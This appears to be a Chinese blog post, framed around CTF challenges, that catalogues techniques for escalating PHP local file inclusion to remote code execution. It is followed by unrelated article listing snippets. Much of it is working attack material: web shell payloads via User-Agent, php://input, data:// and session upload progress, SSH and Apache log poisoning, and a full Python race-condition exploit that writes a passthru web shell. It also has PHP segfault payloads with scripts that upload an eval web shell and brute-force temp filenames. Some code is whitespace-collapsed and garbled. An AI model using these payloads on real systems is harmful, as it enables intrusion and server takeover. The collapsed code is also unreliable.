当前位置：首页 > news >正文

LFI to RCE

news 来源：原创 2025/8/17 20:32:10

LFI不止可以来读取文件，还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解，下面总结一下LFI的利用姿势

1. `/proc/self/environ` 利用

条件：目标能读取 /proc/self/environ，并且网页中存在LFI点

利用方式：

修改请求的 User-Agent 为一句 PHP 代码，如：<?php system($_GET['cmd']); ?>
然后访问 LFI 点加载 /proc/self/environ，就能执行那段代码！

小tips：

这个文件保存的是进程的环境变量，其中包含HTTP请求头参数
通常需要Apache、Nginx等没有过滤请求头才可以利用

2. `/proc/self/fd/X` 利用

条件：目标能读取 /proc/self/fd/X，其中X为文件描述符编号（比如1、2、3）

利用方式：

将 PHP 代码注入到 Referer 或报错信息中
LFI 包含某个文件描述符，就可以 RCE

区别点：

fd 是系统文件描述符的软连接，直接指向某些打开的文件流
可以变通绕过 environ 不可读的情况

3. `php://filter` 利用

目标：文件读取（不是RCE）

用法：

php复制编辑
php://filter/read=convert.base64-encode/resource=filename

说明：

可以读取任意文件，并以 Base64 返回
不依赖于 allow_url_include 等配置

用途：

阅读源码、配置文件、敏感信息～不是直接RCE但常用来辅助分析！

4. `php://input` 利用

条件：

需要 allow_url_include=On
页面使用 include($_GET['file']) 等方式包含

利用方式：

将 PHP 代码写在请求体中
LFI 引用 php://input 就会执行代码啦！

POST /lfi.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded<?php system($_GET['cmd']); ?>

5. `data://` 协议

条件：

需要开启 allow_url_fopen 和 allow_url_include

利用方式：

把 PHP 代码直接塞进 URL，例如：

data://text/plain,<?php system($_GET['cmd']); ?>

或者 Base64 编码：

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

6. `expect://` 协议

条件：

需要安装 expect 扩展
并开启 allow_url_include=On

利用方式：

expect://ls -al /var/www/html

原理：通过 expect 触发命令执行

7. 日志包含（Log Poisoning）

方式1：SSH 日志

需要有/var/log/auth.log的读取权限

连接ssh时输入ssh `<?php phpinfo(); ?>`@192.168.211.146
php代码被写入 /var/log/auth.log
然后 LFI 包含这个日志文件

方式2：Apache 日志

需要有/var/log/auth.log的读取权限

发送请求把 PHP 代码写入 access.log
通过 LFI 包含实现 RCE

注意：

日志太大可能超时，返回 500

8. 利用 `phpinfo()` 泄漏临时文件名

原理：

上传文件会被存到 /tmp/phpXXXXXX 临时文件
phpinfo() 会输出这个路径！
在文件被删除前包含它，就能RCE～

常用组合：

用上传点上传带 payload 的文件
用 phpinfo() 泄露路径
LFI 包含它，实现代码执行！

这里要写exp进行条件竞争

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp：

#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):TAG="Security Test"PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOADpadding="A" * 5000REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt")fn = d[i+17:i+31]# print fnexcept ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print "nGot it! Shell created in /tmp/g"self.event.set()except socket.error:return
def getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=iif i == "":break# detect the final chunkif i.endswith("0rnrn"):breaks.close()i = d.find("[tmp_name] =&gt")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i+10],i)# padded up a bitreturn i+256
def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port=80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot! m/"else:print ":("except KeyboardInterrupt:print "nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__=="__main__":main()

9. PHP 崩溃保留临时文件

php Segfault

向PHP发送含有文件区块的数据包时，让PHP异常崩溃退出，POST的临时文件就会被保留

1. php < 7.2

php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

新版本该漏洞已被修复

包含上面两条payload可以使php崩溃，请求中同时存在一个上传文件的请求则会使临时文件保存，然后爆破临时文件名，包含来rce

exp来自LFItoRCE利用总结-安全KER - 安全资讯平台:

# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件import requests
import stringdef upload_file(url, file_content):files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}try:requests.post(url, files=files)except Exception as e:print echarset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):print "[+] %d / %d" % (i, times)upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

# -*- coding: utf-8 -*-
import requests
import stringcharset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = i + j + k + l + m + nurl = base_url+"?"+parameter+"=/tmp/php"+filenameprint urltry:response = requests.get(url)if 'success' in response.content:print "[+] Include success!"print "url:"+urlexit()except Exception as e:print e

10. 利用 Session 上传进度

SESSION_UPLOAD_PROGRESS 的利用可以看我前面这个文章

原理：

PHP支持 session 上传进度记录
会将数据保存在 session 文件中，路径一般是 /var/lib/php/sessions/sess_XXXXXX
如果你能构造带有 PHP 代码的 progress 字段内容，就可以通过包含 session 来 RCE！

利用方式：

构造上传请求，添加：

PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET['cmd']); ?>

设置 Cookie: PHPSESSID=123456
LFI 包含 /var/lib/php/sessions/sess_123456

11. LFI自动化利用工具

LFISuite: 全自动本地文件包含漏洞利用工具-Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner

会自动扫描利用以下漏洞，并且获取到shell

/proc/self/environ
php://filter
php://input
/proc/self/fd
access log
phpinfo
data://
expect://

LFI to RCE

LFI不止可以来读取文件，还能用来RCE 在多道CTF题目中都有LFItoRCE的非预期解，下面总结一下LFI的利用姿势 1. /proc/self/environ 利用条件：目标能读取 /proc/self/environ，并且网页中存在LFI点利用方式： 修改请…...

编程日记 2025/8/17 20:32:10

QT6 源（34）：随机数生成器类 QRandomGenerator 的源码阅读

（1）代码来自 qrandom.h ，结合官方的注释： #ifndef QRANDOM_H #define QRANDOM_H#include <QtCore/qalgorithms.h> #include <algorithm> // for std::generate #include <random> // for std::mt1993…...

编程日记 2025/8/17 18:17:54

极狐GitLab GEO 功能介绍

极狐GitLab 是 GitLab 在中国的发行版，关于中文参考文档和资料有： 极狐GitLab 中文文档极狐GitLab 中文论坛极狐GitLab 官网 Geo (PREMIUM SELF) Geo 是广泛分布的开发团队的解决方案，可作为灾难恢复策略的一部分提供热备份。Geo 不是开箱…...

编程日记 2025/8/17 20:43:20

快速上手，OceanBase + MCP + LLM，搭建 AI 应用

在 AI 技术发展的进程中，大语言模型（LLM）凭借卓越的信息处理与推理能力广受重视。然而，数据孤岛问题仍是 LLM 面临的核心挑战。目前，LLM 的推理主要依赖于预先训练的数据和有限的上下文窗口，既无法动态访问…...

编程日记 2025/8/17 17:29:37

【Python爬虫基础篇】--1.基础概念

目录 1.爬虫--定义 2.爬虫--组成 3.爬虫--URL 1.爬虫--定义网络爬虫，是一种按照一定规则，自动抓取互联网信息的程序或者脚本。另外一些不常使用的名字还有蚂蚁、自动索引、模拟程序或者蠕虫。随着网络的迅速发展，万维网成为大量信息的载体…...

编程日记 2025/8/17 20:13:21

Linux :进程替换

进程替换 （一）进程程序替换1.替换原理2.替换函数exec函数命名理解 （二）实现简易shell （一）进程程序替换 1.替换原理用fork创建子进程后执行的是和父进程相同的程序(但有可能执行不同的代码分支),子进程往…...

编程日记 2025/8/17 20:40:55

XC7K410T‑2FFG900I 赛灵思XilinxFPGA Kintex‑7

XC7K410T‑2FFG900I Xilinx 赛灵思FPGA Kintex‑7 系列定位：Kintex‑7 中端，高性价比与高性能平衡工艺节点：28 nm HPL（High‑Performance, Low‑Power）HKMG（High‑κ Metal Gate） 逻辑资源&…...

编程日记 2025/8/17 21:11:29

list容器介绍及模拟实现和与vector比较

目录 list容器介绍 lisy接口 list迭代器的注意事项迭代器失效 list的模拟实现 list的节点 list的迭代器实现 list的接口实现 vector和list的优缺点 vector优点： vector缺点： list优点： list缺点： 总结： …...

编程日记 2025/8/18 14:35:16

[图论]Prim

Prim 本质：BFS贪心，对点进行操作。与最短路Dijkstra算法是“孪生兄弟”。存储结构：链式前向星适用对象：可为负权图，可求最大生成树核心思想：最近的邻接点一定在最小生成树(MST)上，对点的最近邻…...

编程日记 2025/8/17 18:17:57

【python】pysharm常用快捷键使用-（1）

*1.格式化代码【Ctrl Alt L】写代码的时候会有很多黄色的波浪号（如图）又叫蚂蚁线，可以点击任意黄色波浪号的代码，然后按下【Ctrl Alt L】进行代码格式化。 2.添加函数功能和参数注释添加函数文档字符串 docstring 在函数…...

编程日记 2025/8/18 14:38:02

06-DevOps-自动构建Docker镜像

前面已经完成了jar文件的打包和发布，但在实际使用时，可能会遇到外部依赖环境发生改变，为了解决这些问题，更多的做法是把应用程序以docker镜像，生成容器的方式运行，这是一种标准化的方式。创建Dockerfile文…...

编程日记 2025/8/17 20:25:05

案例驱动的 IT 团队管理：创新与突破之路：第五章创新管理：从机制设计到文化养成-5.2 技术决策民主化-5.2.2技术选型的量化评估矩阵

👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路文章大纲案例驱动的 IT 团队管理：创新与突破之路 - 第五章创新管理：从机制设计到文化养成 - 5.2 技术决策民主化5.2.2 技术选型的量化评估矩阵一、技术选型的…...

编程日记 2025/8/17 18:17:49

力扣面试150题--有效的字母异位词和字母异位词分组

Day 24 题目描述思路初次思路：如果两个字符串为异位词，说明它们长度相同并且字母出现的次数相同，于是有以下做法： 定义一个map，来保存s中每个字符的出现次数处理特殊情况，如果长度不同，直接…...

编程日记 2025/8/17 20:58:16

WSL2-Ubuntu22.04安装URSim5.21.3

WSL2-Ubuntu22.04安装URSim5.21.3 准备安装启动准备名称版本WSL2Ubuntu22.04URSim5.21.3VcXsrvNaN WSL2安装与可视化请见这篇:WSL2-Ubuntu22.04-配置。安装我们是wsl2-ubuntu22.04，所以安装Linux版本的URSim，下载之前需要注册一下，即…...

编程日记 2025/8/17 21:02:23

配合 Spring Bean 注入，把 Function 管理起来？

大家好呀！今天我们来聊聊一个特别有意思的话题 - 如何在Spring中优雅地管理和注入Function对象。就像把各种调料整齐地摆在厨房里一样，我们要把各种函数方法也管理得井井有条！🍳 一、为什么要把Function管起来？&#…...

编程日记 2025/8/17 20:15:49

Wireshark TS | 异常 ACK 数据包处理

问题背景来自于学习群里群友讨论的一个数据包跟踪文件，在其中涉及到两处数据包异常现象，而产生这些现象的实际原因是数据包乱序。由于这两处数据包异常，都有点特别，本篇也就其中一个异常现象单独展开说明。问题信息数据包跟…...

编程日记 2025/8/17 20:45:57

vue3 el-dialog新增弹窗，不希望一进去就校验名称没有填写

就是在进入弹窗时、点击关闭/取消按钮时等情况清空该表单校验，在失去焦点或者点击确定/提交按钮的时候再去校验。这里默认已经写好了在失去焦点或者点击确定/提交按钮的时候的校验逻辑。解决步骤： 一、定义清空表单校验方法 // 清空表单校验const cle…...

编程日记 2025/8/18 8:38:10

【2-12】CRC循环冗余校验码

前言前面我们介绍了纠错码——海明码，同时还说明了为什么现代网络常用检错重传而不是纠错，本文介绍CRC循环冗余校验码。文章目录前言1. 简单定义2. 生成规则3. 例题3.1 例13.2 例2 后记修改记录 1. 简单定义 CRC（Cyclic Redundancy Chec…...

编程日记 2025/8/17 18:18:01

多 Agent 协作怎么整：从谷歌A2A到多Agent交互方案实现

写在前面：多 Agent 协作模式大型语言模型（LLM）的浪潮之下，能够自主理解、规划并执行任务的 AI Agent（智能体）正成为人工智能领域最炙手可热的焦点。我们惊叹于单个 Agent 展现出的强大能力，但当面对日益复杂的现实世界任务时，单个 Agent 的局限性也逐渐显现。正如人…...

编程日记 2025/8/17 20:57:40

内部聊天软件，BeeWorks-安全的企业内部通讯软件

企业在享受数据便利的同时，如何保障企业数据安全已经成为无法回避的重要课题。BeeWorks作为一款专为企业设计的内部通讯软件，通过全链路的安全能力升维，为企业提供了一个安全、高效、便捷的沟通协作平台，全面保障企业数据安全。 …...

编程日记 2025/8/17 19:53:27

健康养生：开启活力生活的密钥

当我们在健身房看到年逾六旬却身形矫健的老人，在公园偶遇精神矍铄、步伐轻快的长者，总会惊叹于他们的健康状态。其实，这些都得益于长期坚持科学的养生之道。健康养生并非遥不可及的玄学，而是融入生活细节的智慧。在饮食的世界…...

编程日记 2025/8/17 18:17:59

士兵乱斗(贪心)

问题 B: 士兵乱斗 - USCOJ...

编程日记 2025/8/17 18:17:58

Android 不插SIM卡，手机不能拨打紧急电话；2g+gsm配置才支持112紧急拨号

[DESCRIPTION] 不插SIM卡，手机不能拨打紧急电话 Root Cause 手机没有写入合法的IMEI;或者当地的某个运营商不支持紧急电话，而手机正好选上了这个运营商;或者当地的某个运营商不支持无SIM卡的紧急电话，而手机正好选上了这个运营商 [SOLUTION] …...

编程日记 2025/8/17 21:39:16

Freertos----信号量

一、信号量的特性： 生产者为任务A、B，消费者为任务C、D一开始信号量的计数值为0，如果任务C、D想获得信号量，会有两种结果： 阻塞：买不到东西咱就等等吧，可以定个闹钟(超时时间)即刻返回失败&…...

编程日记 2025/8/17 20:29:10

AI 数字短视频数字人源码开发的多元价值与深远意义

在短视频行业竞争日益激烈的当下，AI 数字短视频数字人源码开发正以颠覆性的姿态，为行业带来诸多前所未有的优势，从创作、传播到商业变现等环节，全面重塑短视频生态。创新创作模式，激发无限创意传统短视频创作受…...

编程日记 2025/8/17 19:52:50

Apifox下载安装与使用

一、Apifox下载官网地址：Apifox 点击"免费下载"，即可进行下载。二、Apifox安装双击安装文件即可安装。...

编程日记 2025/8/17 21:15:38

命令行参数解析 - argparse 模块

1、简介 argparse 模块是 Python 标准库中提供的一个命令行解析模块 ，它可以让使用者以类似 Unix/Linux 命令参数的方式输入参数（在终端以命令行的方式指定参数），argparse 会自动将命令行指定的参数解析为 Python 变量&#xff…...

编程日记 2025/8/17 21:41:22

【Android】如何将 APK 内置为系统应用(适用于编辑设置属性)

如何将 APK 内置为系统应用(适用于编辑设置属性) 在 Android 中，将 APK 文件内置为系统应用涉及到一系列的命令和步骤。以下是详细的操作流程，帮助您解决常见问题，如 /system not in /proc/mounts 的错误。挂载system/app获取可读写权限 …...

编程日记 2025/8/17 20:59:17

随手笔记-python-opencv 读取图像的顺序与pytorch处理图像的顺序

import cv2# 读取图像 image_path path/to/your/image.jpg # 替换为你的图像路径 image cv2.imread(image_path)# 检查图像是否成功读取 if image is None:print("Error: Unable to load image.") else:print("Image loaded successfully.") 1、OpenCV…...

编程日记 2025/8/17 18:17:51

996引擎-实战笔记：Lua 的 NPC 面板获取 Input 内容

编程日记 2025/8/17 21:25:52

少数服从多数悖论、黑白颠倒与众人孤立现象之如何应对（一）

观己之前，也可先观众生如果当时没有袖手旁观，或许唇不亡齿也不会寒 ■如何轻松/更好应对个别被众人孤立（他人、辨别、自己） ●他人被孤立不参与有余力，助弱者被孤立者本身有问题 •不参与：不会辨…...

编程日记 2025/8/18 1:18:43

大模型在急性单纯性阑尾炎预测及治疗方案制定中的应用研究

目录一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与创新点二、急性单纯性阑尾炎概述 2.1 定义与发病机制 2.2 临床表现 2.3 传统诊断方法三、大模型在急性单纯性阑尾炎预测中的应用 3.1 大模型简介 3.2 数据收集与处理 3.3 模型训练与优化 3.4 预测…...

编程日记 2025/8/17 20:12:57

科研新触角：松灵六轴臂重构具身智能生态

在具身智能（Embodied AI）从实验室走向产业化的进程中，硬件性能与场景适配性成为技术落地的核心瓶颈。松灵机器人推出的全自研科研级轻量六轴机械臂PiPER，以“轻量化设计毫米级精度跨平台兼容”三大技术突破，重新定义了…...

编程日记 2025/8/17 19:13:34

第四讲感应熔炼电炉设计和感应器参数计算（中）

第四讲感应熔炼电炉设计和感应器参数计算（中） 目录第四讲感应熔炼电炉设计和感应器参数计算（中）磁轭、短路环、消磁环、水冷圈的设计1. 磁轭的设计1.1 磁轭的作用1.2 磁轭的材料1.3 磁轭截面设计1.4 磁轭高度的确定1.5 磁轭总重…...

编程日记 2025/8/17 20:46:21

【Contiki】Contiki源码目录结构

00. 目录文章目录 00. 目录01. 概述02. Contiki目录结构03. apps目录04. core目录05. CPU目录06. doc目录07. examples目录08. platform目录09. regression-tests目录10. tools目录11. 附录 01. 概述 Contiki是一款开源操作系统，专为微小的低功耗微控制器设计&…...

编程日记 2025/8/17 20:33:54

第五章 SQLite数据库：3、SQLite 常用语法及使用案例

SQLite Insert 语句 SQLite 的 INSERT INTO 语句用于向表中添加新数据行。语法 INSERT INTO 有两种常见语法形式： 使用列名指定要插入的列： -- 插入数据并指定列名 INSERT INTO TABLE_NAME (column1, column2, ..., columnN) VALUES (value1, va…...

编程日记 2025/8/17 21:34:20

【安卓开发】【Android Studio】Menu（菜单栏）的使用及常见问题

一、菜单栏选项在项目中添加顶部菜单栏的方法： 在res目录下新建menu文件夹，在该文件夹下新建用于菜单栏的xml文件： 举例说明菜单栏的写法，只添加一个选项元素： <?xml version"1.0" encoding"ut…...

编程日记 2025/8/17 21:39:59

web-ssrfme

SSRF漏洞 SSRF是Server-Side Request Forgery（服务器端请求伪造）的缩写，是一种网络攻击技术。攻击者发送恶意请求给目标服务器，让服务器去访问攻击者指定的其他服务器或者域名，从而获取敏感信息或者攻击其他系统。 S…...

编程日记 2025/8/17 20:35:45

Linux：进程：进程状态

进程是一个负责分配系统资源（CPU时间，内存）的实体。进程内核数据结构（用于描述和组织进程）代码数据（实际内容） 描述进程-PCB 进程信息被放在⼀个叫做进程控制块的数据结构中，简称…...

编程日记 2025/8/17 20:39:19

NoSQL 与 NewSQL 全面对比：如何选择适合你的数据库方案？

1. 引言随着互联网业务的爆发式增长，传统关系型数据库（RDBMS）面临着越来越大的挑战。海量数据存储、高并发访问、低延迟响应等需求促使技术团队寻找更适合的解决方案。在这一背景下，NoSQL 和 NewSQL 作为两种不同方向的技术路线…...

编程日记 2025/8/17 21:32:16

在 MoonBit 中引入 Elm 架构：用简单原则打造健壮的 Web 应用

Elm 是一种纯函数式编程语言，专为构建前端 Web 应用程序而设计。它编译为 JavaScript，强调简洁性、性能和健壮性。纯函数式的含义是函数没有副作用，这使得代码更易于理解和调试。通过强大的静态类型检查，Elm 确保应用程序不会抛…...

编程日记 2025/8/17 20:11:10

虚幻基础：ue引擎的碰撞

文章目录碰撞：碰撞体间运动后产生碰撞的行为——由引擎负责，并向各自发送事件忽略重叠阻挡碰撞体类型模式纯查询：不清楚具体作用可以阻挡 actor碰撞(武器：刀/子弹)子组件可以产生阻挡角色的碰撞只有根组件可以阻挡&#xff0…...

编程日记 2025/8/17 21:30:00

「电商玩法」AI自动创作系统源码：商品图+视频+营销文案一键生成

—零代码搭建智能内容工厂，1人日更1000条爆款素材电商行业核心痛点 1. 内容产能不足中小商家无力承担专业摄影/剪辑，商品图质量差→转化率<1%热点借势慢：竞品已开始推“淄博烧烤同款”，你的素材还在拍摄中 2. 成本居高不下…...

编程日记 2025/8/17 21:03:22

图形变换算法

一、学习目的 （1）掌握多面体的存储方法。 （2）掌握图形的几何变换及投影变换。 （3）掌握三维形体不同投影方法的投影图的生成原理。 （4）掌握多面体投影图绘制的编程方法。二、学…...

编程日记 2025/8/17 21:05:43

no such window: target window already closed的解决方法

我在使用selenium 切换窗口的时候，由于不小心关闭了一个窗口，运行的时候就遇到这样的警告： no such window: target window already closed 具体的问题展示： 这个问题表示：当前的页面被关闭了，selenium 找…...

编程日记 2025/8/17 20:59:18

vue常见错误

1、 Cant resolve vant/lib/index.less 1. 未正确安装 Vant 首先，确保你已经正确安装了 Vant。可以通过以下命令来安装： npm install vant --save 或者使用 yarn： yarn add vant 2. LESS 加载器未配置如果你在项目中使用了 Vant 的 L…...

编程日记 2025/8/17 21:07:14

chrome中的copy xpath 与copy full xpath的区别

学过测试或者爬虫的，都感觉获取网页元素，使用xpath最方便但其中有一些细节可能会使你摸不清头脑比如有时候copy xpath会定位不准确，而使用copy full xpath就可以定位 1、copy xpath（相对路径定位） 优点&#xff…...

编程日记 2025/8/17 18:18:02

【Docker】运行错误提示 unknown shorthand flag: ‘d‘ in -d ----详细解决方法

使用docker拉取Dify的时候遇到错误错误提示 unknown shorthand flag: d in -dUsage: docker [OPTIONS] COMMAND [ARG...]错误原因解析出现 unknown shorthand flag: d in -d 的根本原因是 Docker 命令格式与当前版本不兼容，具体分为以下两种情况： 新…...

编程日记 2025/8/17 18:18:03

VS Code 安装及常用插件

一、VS Code下载与安装 1、概述 Visual Studio Code简称VS Code，是一款功能强大的代码编辑器，与IDE（集成开发环境）不同，VS Code需要安装平台相应的编译器和语言的扩展。 IDE：是用于提供程序开发环境的应…...

编程日记 2025/8/17 21:37:21

iptables防火墙

目录一 Linux防火墙基础 1 iptables的表，链结构 （1）规则表 filter 表 nat 表 mangle 表 raw 表 （2）规则链 2 数据包过滤的匹配流程 （1）规则表之间的顺序 （2）…...

编程日记 2025/8/17 7:17:48

1. /proc/self/environ 利用

2. /proc/self/fd/X 利用

3. php://filter 利用

4. php://input 利用

5. data:// 协议

6. expect:// 协议

7. 日志包含（Log Poisoning）

8. 利用 phpinfo() 泄漏临时文件名

9. PHP 崩溃保留临时文件

10. 利用 Session 上传进度

11. LFI自动化利用工具

相关文章：

1. `/proc/self/environ` 利用

2. `/proc/self/fd/X` 利用

3. `php://filter` 利用

4. `php://input` 利用

5. `data://` 协议

6. `expect://` 协议

8. 利用 `phpinfo()` 泄漏临时文件名